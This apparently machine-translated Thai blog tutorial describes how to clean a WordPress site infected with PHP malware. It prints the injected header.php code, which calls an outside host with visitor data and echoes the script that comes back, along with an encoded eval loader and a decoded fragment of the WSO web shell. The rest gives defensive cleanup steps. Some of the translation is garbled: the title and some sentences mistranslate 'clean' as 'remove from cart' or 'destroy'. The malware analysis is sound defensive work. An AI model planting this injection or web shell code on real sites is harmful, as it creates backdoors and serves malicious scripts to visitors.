ลบรายการออกจากรถเข็น WordPress PHP ไวรัส

บทช่วยสอนนี้นำเสนอกรณีเฉพาะที่บล็อก WordPress มันติดเชื้อ การกำจัด WordPress ไวรัส PHP

วันก่อนฉันสังเกตเห็นรหัสที่น่าสงสัยซึ่งน่าจะเป็นไวรัส PHP สำหรับ WordPress. รหัส PHP ต่อไปนี้มีอยู่ในไฟล์ header.php, ก่อนสาย </head>.

<?php $wp_rssh = 'http'; $wp_gt = 'web'; error_reporting(0); ini_set('display_errors',0); $wp_uagent = @$_SERVER['HTTP_USER_AGENT'];
if (( preg_match ('/Firefox|MSIE/i', $wp_uagent) && preg_match ('/ NT/i', $wp_uagent))){
$wp_gturl=$wp_rssh."://".$wp_gt.$wp_rssh."s.com/".$wp_gt."/?ip=".$_SERVER['REMOTE_ADDR']."&referer=".urlencode($_SERVER['HTTP_HOST'])."&ua=".urlencode($wp_uagent);
$ch = curl_init(); curl_setopt ($ch, CURLOPT_URL,$wp_gturl);
curl_setopt ($ch, CURLOPT_TIMEOUT, 10); $wp_cntnt = curl_exec ($ch); curl_close($ch);}
if ( substr($wp_cntnt,1,3) === 'scr' ){ echo $wp_cntnt; } ?>

นี่คือโค้ด PHP บางส่วนที่ดูเหมือนว่ากำลังพยายามดึงเนื้อหาของทรัพยากรจากเซิร์ฟเวอร์ภายนอก แต่ส่วนที่อ้างถึง URL นั้นไม่สมบูรณ์

กลไกการทำงานค่อนข้างซับซ้อนและทำเช่นนี้ WordPress PHP Virus มองไม่เห็นสำหรับผู้เยี่ยมชมไซต์ที่ได้รับผลกระทบ แต่จะกำหนดเป้าหมายไปที่เครื่องมือค้นหา (Google) และนำไปสู่การลดจำนวนผู้เข้าชมเว็บไซต์ที่ได้รับผลกระทบโดยปริยาย

รายละเอียดของมัลแวร์ WordPress PHP ไวรัส

1. รหัสข้างต้นมีอยู่ใน header.php.

2. ไฟล์ปรากฏขึ้นบนเซิร์ฟเวอร์ wp-log.php ในโฟลเดอร์ wp-includes.

3. wp-log.php มีรหัสที่เข้ารหัส แต่ค่อนข้างง่ายในการถอดรหัส

<?php eval(gzinflate(base64_decode('7b1rd../Fw=='))) ?>

ถอดรหัสรหัสมัลแวร์จาก wp-log.php :

<?php
$auth_pass = "md5password";
$color = "#df5";
$default_action = 'FilesMan';
$default_use_ajax = true;
$default_charset = 'Windows-1251';
#+Dump Columns ////Boolean
if(!empty($_SERVER['HTTP_USER_AGENT'])) {
    $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler" );
    if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
        header('HTTP/1.0 404 Not Found');
        exit;
    }
}

@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@set_time_limit(0);
@set_magic_quotes_runtime(0);
@define('WSO_VERSION', '2.5');

if(get_magic_quotes_gpc()) {
    function WSOstripslashes($array) {
        return is_array($array) ? array_map('WSOstripslashes', $array) : stripslashes($array);
    }
    $_POST = WSOstripslashes($_POST);
    $_COOKIE = WSOstripslashes($_COOKIE);
}

function wsoLogin() {
    die("
<pre align=center-->

<form method="post"><input name="pass" type="password" /><input type="submit" value="" /></form>" );
}

function WSOsetcookie($k, $v) {
$_COOKIE[$k] = $v;
setcookie($k, $v);
}

if(!empty($auth_pass)) {
if(isset($_POST['pass']) &amp;&amp; (md5($_POST['pass']) == $auth_pass))
WSOsetcookie(md5($_SERVER['HTTP_HOST']), $auth_pass);

if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])]) || ($_COOKIE[md5($_SERVER['HTTP_HOST'])] != $auth_pass))
wsoLogin();
}

if(strtolower(substr(PHP_OS,0,3)) == "win" )
$os = 'win';
else
$os = 'nix';

$safe_mode = @ini_get('safe_mode');
if(!$safe_mode)
error_reporting(0);

$disable_functions = @ini_get('disable_functions');
$home_cwd = @getcwd();
if(isset($_POST['c']))
@chdir($_POST['c']);
$cwd = @getcwd();
if($os == 'win') {
$home_cwd = str_replace("\\", "/", $home_cwd);
$cwd = str_replace("\\", "/", $cwd);
}
if($cwd[strlen($cwd)-1] != '/')
$cwd .= '/';
?>

ดูเหมือนว่าจะเป็นสคริปต์ PHP ที่เป็นอันตรายซึ่งมีรหัสเพื่อจัดการการตรวจสอบสิทธิ์และการดำเนินการกับไฟล์และไดเร็กทอรีบนเซิร์ฟเวอร์ จะเห็นได้ง่ายมากว่าสคริปต์นี้มีตัวแปรเช่น $auth_pass (รหัสผ่านยืนยันตัวตน), $default_action (การกระทำเริ่มต้น), $default_use_ajax (ใช้ Ajax เป็นค่าเริ่มต้น) และ $default_charset (การตั้งค่าตัวอักษรเริ่มต้น)

เห็นได้ชัดว่าสคริปต์นี้มีส่วนที่ตรวจสอบตัวแทนผู้ใช้ HTTP เพื่อบล็อกการเข้าถึงเว็บบอทบางตัว เช่น เครื่องมือค้นหา นอกจากนี้ยังมีส่วนที่ตรวจสอบโหมดความปลอดภัยของ PHP และตั้งค่าไดเร็กทอรีการทำงานบางอย่าง

4. หากเข้าถึง wp-log.php ในเบราว์เซอร์ เว็บเพจจะปรากฏขึ้นพร้อมฟิลด์ การรับรอง. เมื่อมองแวบแรก ดูเหมือนว่าจะเป็นตัวจัดการไฟล์ที่สามารถอัปโหลดไฟล์ใหม่ไปยังเซิร์ฟเวอร์เป้าหมายได้อย่างง่ายดาย

คุณทำลายเว็บไซต์ได้อย่างไร WordPress?

เสมอ กระบวนการกำจัดไวรัสด้วยตนเองเกี่ยวข้องกับการค้นพบและทำความเข้าใจก่อนว่าช่องโหว่คืออะไร

1. สร้างการสำรองข้อมูลสำหรับทั้งเว็บไซต์ ซึ่งจะต้องมีทั้งไฟล์และฐานข้อมูล

2. กำหนดระยะเวลาโดยประมาณของไวรัสที่อยู่รอบๆ และค้นหาเว็บเซิร์ฟเวอร์เพื่อหาไฟล์ที่แก้ไขหรือสร้างขึ้นใหม่ภายในกรอบเวลาโดยประมาณ

ตัวอย่างเช่น หากคุณต้องการดูไฟล์ .php สร้างหรือแก้ไขในสัปดาห์ที่แล้ว ให้รันคำสั่งในเซิร์ฟเวอร์:

find /your/web/path -type f -mtime -7 -exec ls -l {} \; | grep "\.php$"

เป็นวิธีการง่ายๆ ที่คุณสามารถเปิดเผยไฟล์ได้ WordPress ติดไวรัสและผู้ที่มีรหัสมัลแวร์

3. ตรวจสอบไฟล์ .htaccess คำสั่งที่น่าสงสัย บรรทัดการอนุญาตหรือการเรียกใช้สคริปต์

4. ตรวจสอบฐานข้อมูล เป็นไปได้มากทีเดียวที่บางโพสต์และเพจต่างๆ WordPress ถูกแก้ไขด้วยมัลแวร์หรือถูกเพิ่มเข้ามาใหม่ ผู้ใช้ที่มีบทบาทเป็น administrator.

5. ตรวจสอบสิทธิ์การเขียนสำหรับโฟลเดอร์และไฟล์ chmod şi chown.

สิทธิ์ที่แนะนำคือ: 644 สำหรับไฟล์และ 755 สำหรับไดเร็กทอรี

find /web/root/public/ -type f -exec chmod 644 {} \;
find /web/root/public/ -type d -exec chmod 755 {} \;

6. อัปเดตทั้งหมด WordPress Plugins / WordPress Themes.

ที่เกี่ยวข้อง Fix Redirect WordPress Hack 2023 (ไวรัสเปลี่ยนเส้นทาง)

นี่เป็นวิธี "พื้นฐาน" ที่คุณสามารถทำลายเว็บไซต์/บล็อกได้ WordPress. หากคุณมีปัญหาและต้องการความช่วยเหลือ ส่วนความคิดเห็นจะเปิดอยู่

เป็นคนรักเทคโนโลยี ฉันเขียนบทความด้วยความสุขบน StealthSettings.com ตั้งแต่ปี 2006 ฉันมีประสบการณ์ที่หลากหลายในระบบปฏิบัติการ: macOS, Windows, และ Linux, รวมถึงภาษาโปรแกรมและแพลตฟอร์มบล็อก (WordPress) และสำหรับร้านค้าออนไลน์ (WooCommerce, Magento, PrestaShop)

วิธีการ » WordPress » ลบรายการออกจากรถเข็น WordPress PHP ไวรัส
แสดงความคิดเห็น